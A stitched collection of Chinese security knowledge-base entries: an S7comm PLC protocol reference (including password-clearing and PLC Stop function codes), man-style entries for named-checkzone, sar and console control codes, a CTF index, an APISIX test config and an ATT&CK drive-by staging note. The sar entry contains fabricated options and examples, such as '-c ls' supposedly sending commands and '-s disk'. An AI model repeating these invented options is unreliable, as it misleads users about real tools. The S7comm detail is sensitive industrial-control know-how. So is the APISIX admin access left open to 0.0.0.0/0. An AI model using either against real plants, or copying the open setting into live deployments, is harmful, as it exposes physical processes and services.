(6 bytes):代码上次修的时间(Code Timestamp); - 16 (6 bytes):接口上次修的时间戳(Interface Timestamp); - 17 (2 bytes):SSB长度(SSB length); - 18 (2 bytes):ADD长度(ADD length); - 19 (2 bytes):本地数据长度(Localdata length); - 20 (2 bytes):MC7代码长度(MC7 code length); - 21 (8 bytes):作者(Author); - 22 (8 bytes):系列(Family); - 23 (8 bytes):名称(标题)(Name (Header)); - 24 (1 byte):版本(标题)(Version (Heade); - 25 (1 byte):未知信息(Unknown byte(s) blockinfo); - 26 (2 bytes):校验码(Block checksum); - 27 (4 bytes):预留(Reserved 1); - 28 (4 bytes):预留(Reserved 2) - **CPU功能(CPU functions [0x4])** CPU 功能(CPU functions)是用于操作块,所有的子功能码有: - 0x01:读系统状态列表(Read SZL); - 0x02:消息服务(Message service); - 0x03:诊断消息(Diagnostic message),PLC 的诊断消息; - 0x05:ALARM_8 显示(ALARM_8 indication), PLC 使用ALARM_8 SFBs 来显示报警消息; - 0x06:NOTIFY 显示(NOTIFY indication),PLC 使用 NOTIFY SFBs 来显示 NOTIFY 消息; - 0x07:ALARM_8 锁定(ALARM_8 lock), 需要通过 HMI/SCADA 锁定ALARM 消息; - 0x08:ALARM_8 取消锁定(ALARM_8 unlock), 需要通过 HMI/SCADA 取消锁定 ALARM 消息; - 0x09:SCAN 显示(SCAN indication),PLC 显示 SCAN 消息; - 0x0b:ALARM 确认(ALARM ack),报警信息已在 HMI/SCADA 中得到确认; - 0x0c:ALARM 确认显示(ALARM ack indication), 从 CPU 到 HMI 的确认报警显示; - 0x0d:ALARM 锁定显示(ALARM lock indication),从 CPU 到 HMI 的锁定报警显示; - 0x0e:ALARM 取消锁定显示(ALARM unlock indication),从 CPU 到 HMI 的取消锁定报警显示; - 0x11:ALARM_SQ 显示(ALARM_SQ indication),PLC 使用 ALARM_SQ/ALARM_DQ SFCs 来显示 ALARM 消息; - 0x12:ALARM_S 显示(ALARM_S indication),PLC 使用 ALARM_S/ALARM_D SFCs 来显示 ALARM 消息; - 0x13:ALARM 查询(ALARM query),HMI/SCADA 查询 ALARM; - 0x16:NOTIFY_8 显示(NOTIFY_8 indication)。 子功能码有4种不同的功能类型: - 系统状态列表(SZL) 系统状态列表(德语:System-ZustandsListen,英语:System Status Lists)用于描述可编程逻辑控制器的当前状态。SZL 的内容只能通过信息功能进行读取,而不能修改。换言之,部分列表是虚拟列表,只是在有特殊请求时由 CPU 的操作系统所创建。 > 只能通过SFC 51 "RDSYSST"读取一个系统状态列表。 系统状态列表包含下列内容的有关信息: - 系统数据 - CPU 中的模块状态数据 - 模块的诊断数据 - 诊断缓冲区 如果要读取系统状态列表,则需要使用参数 SZL-ID 和 INDEX 指定要读取的内容。比如:读取 PLC 的名称,那 SZL-ID 是 W#16#011C,INDEX 是 W#16#0001 每个部分系统状态列表都有一个编号。可以根据编号输出完整的部分列表或摘录。预定义了可能的部分列表摘录,并由一个数字标识。SZL-ID 由部分列表的编号、部分列表摘录的编号和模块等级组成。 请求报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (2 bytes):SZL-ID; - 5 (2 bytes):SZL-Index; 响应报文 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (2 bytes):SZL-ID,部分列表摘录的 SZL-ID,以 W#16#xy1C 为例,常见的 SZL-ID 如下: - W#16#001C:所有组件的标识; - W#16#011C:一个组件的标识; - W#16#021C:H系统中一个 CPU 的所有组件的标识; - W#16#031C:H系统中所有冗余 CPU 的一个组件的标识; - W#16#0F1C:仅限SSL部分列表报头信息; - 5 (2 bytes):SZL-Index,不同的 SZL-ID 那 SZL-Index 不一样。以 W#16#011C 和 W#16#031C 的部分列表摘录的组件标识: - W#16#0001:自动化系统的名称; - W#16#0002:模块名称; - W#16#0003:模块的设备标识; - W#16#0004:版权; - W#16#0005:模块的序列号; - W#16#0007:模块类型名称; - W#16#0008:存储卡的序列号在不能插入存储卡的模块中,不提供数据记录; - W#16#0009:CPU 模块的制造商和配置文件; - W#16#000A:模块的 OEM ID(仅限 S7-300); - W#16#000B:模块的位置指定; - 6 (2 bytes):部分列表的长度(SZL partial list length in bytes),不同的 SZL-ID 那长度不一样; - 7 (2 bytes):部分列表的个数(SZL partial list count); - 8 (34 bytes):SZL 1; - ... - n (34 bytes):SZL n; - 消息服务(Message service) 消息服务(Message service)主要用于订阅事件,比如:切换工作模式事件、系统诊断事件等。 请求报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (1 byte):订阅事件(Subscribed events),常见的事件有: - 0x01(MODE):切换工作模式; - 0x02(SYS):系统诊断; - 0x04(USR):用户定义的诊断消息; - 0x08:未知; - 0x10:未知; - 0x20:未知; - 0x40:未知; - 0x80(ALM):程序块消息,附加字段中的消息类型; - 5 (1 byte):未知(Unknown); - 6 (varibale bytes):用户名(Username); 响应报文 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (1 byte):订阅的结果: - n (4 bytes):预留(Reserved 2) - 诊断消息(Diagnostic message) 诊断消息(Diagnostic message)通常是诊断缓冲区中的数据 请求报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (2 bytes):事件 ID(Event ID); - 5 (1 byte):优先级(Priority class); - 6 (1 byte):OB 编号(OB number); - 7 (2 bytes):DatID; - 8 (2 bytes):附加信息(Additional information 1); - 9 (4 bytes):附加信息(Additional information 2); - 10 (8 bytes):时间戳; 每个事件都分配有事件 ID,而事件 ID 的结构如图 那事件 ID 的内容,包括: - 0-7位:事件编号(Event Number); - 8-11位:识别(IDs),标识符用于区分事件的类型。 - 12-15位:事件等级(Event Class) - 告警消息及告警查询 在这里,把 ALARM_8 显示(0x05)、NOTIFY 显示(0x06)、ALARM_8 锁定(0x07)、ALARM_8 取消锁定(0x08)、SCAN 显示(0x09)、ALARM 确认(0x0b)、ALARM 确认显示(0x0c)、ALARM 锁定显示(0x0d)、ALARM 取消锁定显示(0x0e)、ALARM_SQ 显示(0x11)、ALARM_S 显示(0x12)、ALARM 查询(0x13)、NOTIFY_8 显示(0x16)共13个子功归纳为告警信息。 - ALARM 查询(0x13) 请求报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (1 byte):功能标识(Function identifier); - 5 (1 byte):消息对象个数(Number of message objects); - 6 (varibale byte):Message Object 1; - 1 (1 byte):Variable specification; - 2 (1 byte):以下规范地址的长度(Length of following address specification); - 3 (1 byte):Syntax Id; - 4 (1 byte):Unknown; - 5 (1 byte):查询类型(Querytype),类型有: - 0x01:告警类型(ByAlarmtype); - 0x03:事件 ID(ByEventID); - 0x08:Unknown; - 0x09:Unknown; - 6 (1 byte):Unknown; - ... - ... 响应报文 Data 结构如下: - 1 (1 byte) : 返回码(Return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (1 byte):功能标识(Function identifier); - 5 (1 byte):消息对象个数(Number of message objects); - 6 (1 byte) : 数据传输大小(Transport sizes); - 7 (2 bytes) : 完整数据长度,也就是以此往后的数据长度; - 8 (varibale byte):Message Object 1; - 1 (1 byte) :长度(Length of dataset); - 2 (2 bytes):Unknown; - 3 (1 byte):告警类型(Alarmtype); - 4 (4 bytes):事件 ID; - 5 (1 byte):Unknown; - 6 (1 byte):事件状态(EventState); - 7 (1 byte):AckState going; - 8 (1 byte):AckState coming; - ... - n (varibale byte):Message Object n; - ALARM 显示、ALARM 锁定/解锁、ALARM 确认、NOTIFY 显示 往往这类报文都是以PUSH的形式存在, Data 结构如下: - 1 (1 byte) : 返回码(Return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - 4 (8 bytes):事件时间,如果subfunc是0x09,那长度为2 bytes; - 5 (1 byte):功能标识(Function identifier); - 6 (1 byte):消息对象个数(Number of message objects); - 7 (varibale byte):Message Object 1; - 1 (1 byte):Variable specification; - 2 (1 byte):长度(Length of following address specification); - 3 (1 byte):Syntax Id; - 4 (1 byte):相关值数目(Number of associated values); - 5 (4 bytes):事件 ID; - `6 (1 byte):事件状态(EventState);` - `7 (1 byte):状态(State);` - `8 (1 byte):AckState going;` - `9 (1 byte):AckState coming;` - `10 (varibale bytes):Associated value 1;` - `1 (1 byte) : 返回码(Return code);` - `2 (1 byte) : 数据传输大小(Transport sizes);` - `3 (2 bytes) : 长度;` - `4 (varibale bytes):Data;` - `...` - `n (varibale bytes):Associated value n;` - ... - n (varibale byte):Message Object n; > 说明:上面标记部分为可变项,不同的子功能则不同。 - **安全功能(Security [0x5])** 全功能(Security)是用于安全设置,比如:设置 PLC 密码,所有的子功能码有: - 0x01:PLC 密码(PLC password); - 0x02:清除密码(Clear PLC password)。 请求报文的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 数据长度; - 4 (varibale byte):Data; 响应报文 Data 结构如下: - 1 (1 byte) : 返回码(Return code); - 2 (1 byte) : 数据传输大小(Transport sizes); - 3 (2 bytes) : 以此往后的数据长度; - **PBC BSEND/BRECV [0x6]** - PBC:Programmable Block Functions,可编程块函数,比如:SFB/FB; - BSEND/BRCV:到通信伙伴的固定数据块传送。也就是说,在通信伙伴中的接收函数(BRCV)接受该数据之前,数据传送不会结束。 - **时间功能(Time functions [0x7])** 时间功能(Time functions)是用于时间设置,比如:设置时间,所有的子功能码有: - 0x01:读时间(Read clock); - 0x02:设置时间(Set clock); - 0x03:读时间(Read clock (following)); - 0x04:设置时间(Set clock)。 读取时间的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes),通常有 bit、byte 等; - 3 (2 bytes) : 以此往后的数据长度。 设置时间的 Data 结构如下: - 1 (1 byte) : 返回码(return code); - 2 (1 byte) : 数据传输大小(Transport sizes),通常有 bit、byte 等; - 3 (2 bytes) : 以此往后的数据长度; - 4 (10 bytes):时间戳。 --- ## 错误类型 ### 头结构的错误类型 S7comm 头结构中常见的错误类型,如下表: | Hex | Value | 描述 | | ---- | --------------------------- | -------------- | | 0x00 | No error | 没有错误 | | 0x81 | Application relationship | 应用关系 | | 0x82 | Object definition | 对象定义 | | 0x83 | No resources available | 没有可用资源 | | 0x84 | Error on service processing | 服务处理中错误 | | 0x85 | Error on supplies | 请求错误 | | 0x87 | Access error | 访问错误 | ### 参数中的错误码(Error code in parameter part) 常见的 S7Comm 参数中的错误码,如下表: | Hex | Value | 描述 | | ------ | ---------------------------------------------- | -------------- | | 0x0000 | No error | 无错误 | | 0x0110 | Invalid block number | 无效的块编号 | | 0x0111 | Invalid request length | 无效的请求长度 | | 0x0112 | Invalid parameter | 无效参数 | | 0x0113 | Invalid block type | 无效的块类型 | | 0x0114 | Block not found | 块没有发现 | | 0x0115 | Block already exists | 块已经存在 | | 0x0116 | Block is write-protected | 块被写保护 | | 0x0117 | The block/operating system update is too large | 块太大 | | 0x0118 | Invalid block number | 无效的块编号 | | 0x0119 | Incorrect password entered | 输入错误的密码 | | 0x011A | PG resource error | PG 资源错误 | | 0x011B | PLC resource error | PLC 资源错误 | | 0x011C | Protocol error | 协议错误 | --- ## 功能码 ### JOB和ACK_DATA的功能码 当 PDU 类型是 JOB 和 ACK_DATA 时,常见的功能码,如下表: | Hex | Value | 值 | | ---- | ------------------- | ------------ | | 0x00 | CPU services | CPU服务 | | 0xf0 | Setup communication | 建立通信 | | 0x04 | Read Var | 读取值 | | 0x05 | Write Var | 写入值 | | 0x1a | Request download | 请求下载 | | 0x1b | Download block | 下载块 | | 0x1c | Download ended | 下载结束 | | 0x1d | Start upload | 开始上传 | | 0x1e | Upload | 上传 | | 0x1f | End upload | 上传结束 | | 0x28 | PI-Service | 程序调用服务 | | 0x29 | PLC Stop | 关闭 PLC | ### UserData的功能组 UserData 中常见的功能组,如下表: | 值 | 功能组 | | --- | ------------------------------------- | | 0x0 | 转换工作模式(Mode-transition) | | 0x1 | 工程师命令调试(Programmer commands) | | 0x2 | 循环读取(Cyclic data) | | 0x3 | 块功能(Block functions) | | 0x4 | CPU 功能(CPU functions) | | 0x5 | 安全功能(Security) | | 0x6 | PBC BSEND/BRECV | | 0x7 | 时间功能(Time functions) | | 0xf | NC 编程(NC programming) | --- ## 区域(Area names) PLC 中常见的区域类型,如下表: | Hex | Value | 值 | | ---- | ---------------------------- | -------------------- | | 0x03 | System info of 200 family | 200 系列系统信息 | | 0x05 | System flags of 200 family | 200 系列系统标志 | | 0x06 | Analog inputs of 200 family | 200 系列模拟量输入 | | 0x07 | Analog outputs of 200 family | 200 系列模拟量输出 | | 0x80 | Direct peripheral access (P) | 直接访问外设 | | 0x81 | Inputs (I) | 输入(I) | | 0x82 | Outputs (Q) | 输出(Q) | | 0x83 | Flags (M) | 内部标志(M) | | 0x84 | Data blocks (DB) | 数据块(DB) | | 0x85 | Instance data blocks (DI) | 背景数据块(DI) | | 0x86 | Local data (L) | 局部变量(L) | | 0x87 | Unknown yet (V) | 全局变量(V) | | 0x1c | S7 counters (C) | S7 计数器(C) | | 0x1d | S7 timers (T) | S7 定时器(T) | | 0x1e | IEC counters (200 family) | IEC 计数器(200系列) | | 0x1f | IEC timers (200 family) | IEC 定时器(200系列) | --- ## 数据传输大小(Transport Sizes ) ### Item数据的传输大小(Transport sizes in item data) 下表是 Item 数据的传输大小: | Hex | 值 | 描述 | | --- | ------------- | -------------------- | | 1 | BIT | 位(1位) | | 2 | BYTE | 字节(8位) | | 3 | CHAR | 字符(8位) | | 4 | WORD | 字(16位) | | 5 | INT | 整数(16位) | | 6 | DWORD | 双字(32位) | | 7 | DINT | 有符号的整数(32位) | | 8 | REAL | 浮点数(32位) | | 10 | TOD | Time of day(32位) | | 11 | TIME | IEC 时间(32位) | | 12 | S5TIME | SIMATIC 时间(16位) | | 15 | DATE_AND_TIME | 日期和时间 | | 28 | COUNTER | 计数器 | | 29 | TIMER | 定时器 | | 30 | IEC TIMER | IEC 定时器 | | 31 | IEC COUNTER | IEC 计数器 | | 32 | HS COUNTER | HS 计数器 | ### 数据的传输大小(Transport sizes in data) 下表是数据部分中的值得传输大小: | Hex | 值 | 描述 | | --- | --------------- | -------------------------------------- | | 0 | NULL | | | 3 | BIT | bit access, len is in bits | | 4 | BYTE/WORD/DWORD | byte/word/dword access, len is in bits | | 5 | INTEGER | integer access, len is in bits | | 6 | DINTEGER | integer access, len is in bytes | | 7 | REAL | real access, len is in bytes | | 9 | OCTET | STRING octet string, len is in bytes | --- ## 变量的结构标识(Syntax Ids of variable specification) 下表是常见的变量的结构标识: | Hex | 值 | 描述 | | ---- | -------------- | --------------------------------------------- | | 0x10 | S7ANY | Address data S7-Any pointer-like DB1.DBX10.2 | | 0x13 | PBC-R_ID | R_ID for PBC | | 0x15 | ALARM_LOCKFREE | Alarm lock/free dataset | | 0x16 | ALARM_IND | Alarm indication dataset | | 0x19 | ALARM_ACK | Alarm acknowledge message dataset | | 0x1a | ALARM_QUERYREQ | Alarm query request dataset | | 0x1c | NOTIFY_IND | Notify indication dataset | | 0xa2 | DRIVEESANY | seen on Drive ES Starter with routing over S7 | | 0xb2 | 1200SYM | Symbolic address mode of S7-1200 | | 0xb0 | DBREAD | Kind of DB block read, seen only at an S7-400 | | 0x82 | NCK | Sinumerik NCK HMI access | --- ## 返回码(Return Code) 响应报文中 Data 部分的常见返回码,如下表: | Hex | 值 | 描述 | | ---- | -------------------------------- | ------------------------------------- | | 0x00 | Reserved | 未定义,预留 | | 0x01 | Hardware error | 硬件错误 | | 0x03 | Accessing the object not allowed | 对象不允许访问 | | 0x05 | Invalid address | 无效地址,所需的地址超出此 PLC 的极限 | | 0x06 | Data type not supported | 数据类型不支持 | | 0x07 | Data type inconsistent | 日期类型不一致 | | 0x0a | Object does not exist | 对象不存在 | | 0xff | Success | 成功 | --- ## 块(Block) 在西门子设备中有8种不同类型的功能块: | Hex | 类型 | 描述 | | ------ | ------------------------------------- | ------------------------------------------------------------------------------------------------------ | | 0x3038 | OB,ASCII 为'08',组织块 | OB 决定用户程序的结构 | | 0x3039 | CMod,ASCII 为'09' | | | 0x3041 | DB,ASCII 为'0A',数据块 | DB 是用于存储用户数据的数据区域,除了指定给一个功能块的数据,还可以定义可以被任何块使用的共享数据 | | 0x3042 | SDB,ASCII 为'0B',系统和数据块 | 由编程软件自动生成主要存放 PLC 的硬件组态等信息,用户无法直接打开和更改 | | 0x3043 | FC,ASCII 为'0C',功能 | FB、FC 本质都是一样的,都相当于子程序,可以被其他程序调用(也可以调用其他子程序),FC 使用的是共享数据块 | | 0x3044 | SFC,ASCII 为'0D',系统功能 | SFB 和 SFC 集成在 S7 CPU 中可以让你访问一些重要的系统功能 | | 0x3045 | FB,ASCII 为'0E',功能块,带背景数据块 | FB、FC 本质都是一样的,都相当于子程序,可以被其他程序调用(也可以调用其他子程序),FB 使用的是背景数据块 | | 0x3046 | SFB,ASCII 为'0F',系统功能块 | SFB 和 SFC 集成在 S7 CPU 中可以让你访问一些重要的系统功能 | OB、FB、SFB、FC 和 SFC 都包含部分程序,因此也称作逻辑块。每种块类型所允许的块的数量以及块的长度视 CPU 而定。 --- ## 程序调用服务名(PI service names) 下表是程序调用服务名称及其相关参数: | 服务名 | 描述 | | --------- | -------------------------------------------------------------------- | | _INSE | PI-Service _INSE (Activates a PLC module) | | _DELE | PI-Service _DELE (Removes module from the PLC's passive file system) | | P_PROGRAM | PI-Service P_PROGRAM (PLC Start / Stop) | | _MODU | PI-Service _MODU (PLC Copy Ram to Rom) | | _GARB | PI-Service _GARB (Compress PLC memory) | --- ## 拓展协议的参数类型 下表是扩展数据中参数类型: | 值 | 类型 | | --- | --------------------- | | 0x0 | 推送(Push) | | 0x4 | 请求(Request) | | 0x8 | 响应(Response) | | 0x3 | NC 推送(NC Push) | | 0x7 | NC 请求(NC Request) | | 0xb | NC 响应(NC Response) |
sec-knowleage
named-checkzone === 使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称 ## 补充说明 **named-checkzone命令** 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 ### 语法 ```shell named-checkzone [选项] [区域名] [区域文件名] ``` ### 选项 ```shell -q 安静模式 -d 启用调试 -c <类别> 指定区域的类别。如果没指定就使用IN ``` ### 例子 对区域文件/var/named/192.168.0.rev进行有效性检查和转换。 ```shell [root@localhost ~]# named-checkzone 0.168.192.in-addr.arpa /var/named/192.168.0.rev zone0.168.192.in-addr.arpa/IN: loaded serial 1268360612 OK ``` 对区域文件/var/named/sh.com.hosts进行有效性检查和转换。 ```shell [root@localhost ~]# named-checkzone sh.com /var/named/sh.com.hosts zonesh.com/IN: sh.com/MX 'mail.sh.com' is a CNAME (illegal) zonesh.com/IN: loaded serial 1268360234 OK ```
sec-knowleage
sar === 系统运行状态统计工具 ## 补充说明 **sar命令** 是Linux下系统运行状态统计工具,它将指定的操作系统状态计数器显示到标准输出设备。sar工具将对系统当前的状态进行取样,然后通过计算数据和比例来表达系统的当前运行状态。它的特点是可以连续对系统取样,获得大量的取样数据。取样数据和分析的结果都可以存入文件,使用它时消耗的系统资源很小。 ### 语法 ```shell sar(选项)(参数) ``` ### 选项 ```shell -A: 显示所有的报告信息; -b: 显示I/O速率; -B: 显示换页状态; -c: 显示进程创建活动; -d: 显示每个块设备的状态; -e: 设置显示报告的结束时间; -f: 从指定文件提取报告; -i: 设状态信息刷新的间隔时间; -n: 报告网络统计信息。 -P: 报告每个CPU的状态; -R: 显示内存状态; -u: 显示CPU利用率; -v: 显示索引节点,文件和其他内核表的状态; -w: 显示交换分区状态; -x: 显示给定进程的状态。 ``` ```shell -r: 以分页方式显示输出,每页最多显示 100 行。 -o: 输出选项,指定要显示的列。例如,`-o mrk,prt,cvg` 将显示 CPU 使用率、进程标识符、磁盘使用率 和 网络流量。 -t: 时间戳选项,指定要在输出中添加时间戳。 -s: 统计选项,指定要显示的统计数据的类型。例如,`-s us,ms` 将显示 CPU 使用率的 us 和 ms 时间段的平均值。 -c: 选项用于指定要发送的命令。例如,`-c ls` 将显示当前目录中的文件和子目录列表。 ``` ### 参数 * 间隔时间:每次报告的间隔时间(秒); * 次数:显示报告的次数。 ### 实例 **察看内存和交换空间的使用率:** ```shell sar -r Linux 2.4.20-8 (www.jsdig.com) 20130503 12:00:01 AM kbmemfree kbmemused %memused kbmemshrd kbbuffers kbcached 12:10:00 AM 240468 1048252 81.34 0 133724 485772 12:20:00 AM 240508 1048212 81.34 0 134172 485600 … 08:40:00 PM 934132 354588 27.51 0 26080 185364 Average: 324346 964374 74.83 0 96072 467559 ``` kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间,后面跟着的是已使用空间的百分比(%memused字段)。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量,单位为KB。 **观察系统部件10分钟,并对数据进行排序:** ```shell sar -o temp 60 10 ``` **显示保存在每日数据文件“sa16”中的内存和网络统计信息。** ```shell sar -r -n DEV -f /var/log/sa/sa16 ``` **查看 CPU 使用率:** ```shell sar -t ``` **查看磁盘使用率:** ```shell sar -s disk ``` **查看网络流量:** ```shell sar -s nic ``` **发送命令到系统服务:** ```shell sar -c ls ``` **显示系统当前时间戳:** ```shell sar -t +%s ``` 这些只是 `sar` 命令的一些示例,您可以根据具体需求选择不同的选项和参数。 注意: `sar` 命令的输出结果可能会因为系统性能的不同而有所不同。如果要获得更准确的结果,请考虑在系统性能最佳的时候进行监控。
sec-knowleage
# Writeup Backdoor CTF 2016 Team: rev, msm, akrasuski, nazywam, ppr, shalom, c7f.m0d3 ### Table of contents * [Offensive 300](offensive_300) * [Offensive 400](offensive_400)
sec-knowleage
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # apisix: node_listen: 9080 # APISIX listening port enable_ipv6: false allow_admin: # http://nginx.org/en/docs/http/ngx_http_access_module.html#allow - 0.0.0.0/0 # We need to restrict ip access rules for security. 0.0.0.0/0 is for test. enable_control: true control: ip: "0.0.0.0" port: 9092 etcd: host: # it's possible to define multiple etcd hosts addresses of the same etcd cluster. - "http://etcd:2379" # multiple etcd address prefix: "/apisix" # apisix configurations prefix timeout: 30 # 30 seconds
sec-knowleage
# T1608-004-阶段性能力-Drive-by Target ## 来自ATT&CK的描述 攻击者可能会准备一个操作环境来感染在正常浏览过程中访问网站的系统。端点系统可能通过浏览攻击者控制的网站而被入侵,就像Drive-by Compromise中的情况。在这种情况下,用户的网络浏览器通常是利用的目标(一旦登陆网站,通常不需要任何额外的用户互动),但攻击者也可能为非利用行为(如应用访问标记)设置网站。在进行“偷渡式”破坏之前,攻击者必须准备好必要的资源,以便向浏览到攻击者控制的网站的用户提供这种利用。偷渡内容可以在攻击者控制的基础设施上上演,这些基础设施已经获得(购买基础设施)或以前被破坏(盗取基础设施)。 攻击者可能会上传或注入恶意的网络内容,如JavaScript。这可以通过多种方式实现,包括将恶意脚本插入网页或其他用户可控制的网络内容,如论坛帖子。攻击者也可以制作恶意的网络广告,并通过合法的广告供应商购买网站上的广告空间。除了放置内容以利用用户的网络浏览器外,攻击者还可能放置脚本内容来描述用户的浏览器(如收集受害者主机信息),以确保其在尝试利用前是脆弱的。 被攻击者攻破并用于实施偷渡的网站可能是特定群体访问的网站,如政府、特定行业或地区,其目的是基于共同的兴趣,攻破特定用户或一组用户。这种有针对性的攻击被称为战略网络攻击或水坑攻击。 攻击者在获取基础设施(域名)的过程中,可能会购买与合法域名类似的域名(例如:同音字、错别字、不同的顶级域名等),以帮助促进偷渡式破坏。 ## 测试案例 暂无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动的大部分将发生在目标组织的可见性之外,因此很难检测到这种行为。检测工作可能会集中在攻击生命周期的其他阶段,例如通过妥协或利用客户端执行。 ## 参考推荐 MITRE-ATT&CK-T1608-004 <https://attack.mitre.org/techniques/T1608/004/>
sec-knowleage
'\" t .\" Copyright (c)1996 Andries Brouwer <aeb@cwi.nl>, Mon Oct 31 22:13:04 1996 .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option)any later version. .\" .\" This is combined from many sources. .\" For Linux, the definitive source is of course console.c. .\" About vt100-like escape sequences in general there are .\" the ISO 6429 and ISO 2022 norms, the descriptions of .\" an actual vt100, and the xterm docs (ctlseqs.ms). .\" Substantial portions of this text are derived from a write-up .\" by Eric S.Raymond <esr@thyrsus.com>. .\" .\" Tiny correction, aeb, 961107. .\" .TH CONSOLE_CODES 4 "October 31, 1996" "Linux" "Linux Programmer's Manual" .SH NAME 名称 控制终端代码 \- Linux 控制终端转义和控制序列 .SH DESCRIPTION 描述 Linux控制台实现了VT102和ECMA-48/ISO 6429/ANSI X3.64终端控制的子集, 这个子集很庞大,当然还有Linux自己私有的控制序列,以改变颜色配置,字符 集映像,等等.在下面将要给出的表格中,第二列为指定的功能给出了ECMA-48 或者DEC助记符(如果是后者会在前面加有DEC前缀).没有给出助记符的序列 既不是ECMA-48也不是VT102字符. .LP 在所有标准输出进程执行完毕,并且一个字符流被送到控制台 驱动程序准备显示出来的时候,所发生的第一件事就是将进程 使用的代码转换成显示使用的代码. .LP 如果控制台工作于 UTF-8 模式,那么输入的字节会首先编码 成16位的 Unicode 代码.如果不是UTF-8模式,那么每个字节 会按照当前的字符映射表完成转换(转换成Unicode编码的值). 参看下面将要讨论的 CHARACTER SETS 一章. .LP 在一般情况下,Unicode 代码被转换成为存储在视频存储器中的 字体索引,这样对应的具体字符(字符存储在视频ROM中)就显示 在屏幕上了. 注意使用 Unicode 编码允许我们同时使用 512 种不同的字体(和 计算机硬件有关). .LP 如果当前的 Unicode 代码是一个控制字符,或者系统目前正在处 理一个转义序列,处理的方式有些特别.它不会被转换成字体索 引,也不会直接显示在屏幕上.它可能控制光标的移动,或者实现 其它控制功能.参看下面的 LINUX CONSOLE CONTROLS 一节 所进行的讨论. .LP 一般来说直接在程序中插入终端控制字符并不是很好.Linux 支 持终端兼容的 .BR terminfo(5) 数据库. 除了直接插入控制和转义序列,也可以使用象 .BR ncurses(3), .BR tput(1), 或者 .BR reset(1). 这样的显示库或者工具. .SH LINUX CONSOLE CONTROLS Linux终端控制 这一段描述了所有在Linux控制台下使用的调用特殊功能的控制字符 和转义序列(例如.任何不在当前光标处插入可见字符的序列). .SS "Control characters" "控制字符" 当一个字符在通过字符映射表转换之前含有以下14个代码之一的时 候表明它是一个控制字符. 00(NUL),07(BEL),08(BS),09(HT),0a(LF),0b(VT), 0c(FF),0d(CR),0e(SO),0f(SI),18(CAN),1a(SUB), 1b(ESC),7f(DEL). 我们可以通过设置 `显示控制字符' 模式(见下文)以允许07,09,0b, 18,1a,7f 像普通字符一样显示在屏幕上.另一方面,在UTF-8模式下 所有位于 00-1f之间的代码都被认为是控制字符,而不管是否处于 `显示控制字符'模式. 一个控制字符会立刻生效,然后被丢弃(即使是在转义序列中间), 之后转义序列才继续处理下一个字符. (在任何情况下,ESC都表示一个新的转义序列的开始,可能导致 前一个序列的非正常终止,CAN和SUB 终止任何转义序列.) 可识别的控制字符是BEL,BS,HT,LF,VT,FF,CR,SO,SI,CAN, SUB,ESC,DEL,CSI.他们的功能如下.: .HP BEL(0x07,^G)铃声; .HP BS(0x08,^H)后退一格(在行首不起作用); .HP HT(0x09,^I)跳至下一个制表位.如果后面已没有制表位则跳至行尾; .HP LF(0x0A,^J),VT(0x0B,^K),FF(0x0C,^L)三者都表示换行; .HP CR(0x0D,^M)回车并换行; .HP SO(0x0E,^N)激活 G1 字符集, 如果设置了 LF/NL(新行模式)还要加上回车换行; .HP SI(0x0F,^O)激活 G0 字符集; .HP CAN(0x18,^X),SUB(0x1A,^Z)两者都表示中断转义序列; .HP ESC(0x1B,^[)开始一个新的转义序列; .HP DEL(0x7F)忽略; .HP CSI(0x9B)等同于 ESC [; .LP .SS "ESC- but not CSI-sequences" "非控制转义序列" .TS l l l. ESC c RIS 重绘屏幕. ESC D IND 换行. ESC E NEL 新的一行. ESC H HTS 设置当前列为制表位. ESC M RI 翻转换行(Reverse linefeed). ESC Z DECID DEC 私有定义.内核将其解释为 VT102字符,返回字符ESC [ ? 6 c. ESC 7 DECSC 存储当前状态(光标坐标, 属性,字符集). ESC 8 DECRC 恢复上一次储存的设置 ESC [ CSI 控制序列介绍 ESC % 开始一个字符集选择序列 ESC % @ \0\0\0选择默认字符集(ISO 646 / ISO 8859-1) ESC % G \0\0\0选择 UTF-8 ESC % 8 \0\0\0选择 UTF-8(已不用) ESC # 8 DECALN DEC 屏幕校准测试 - 以E's填充屏幕. 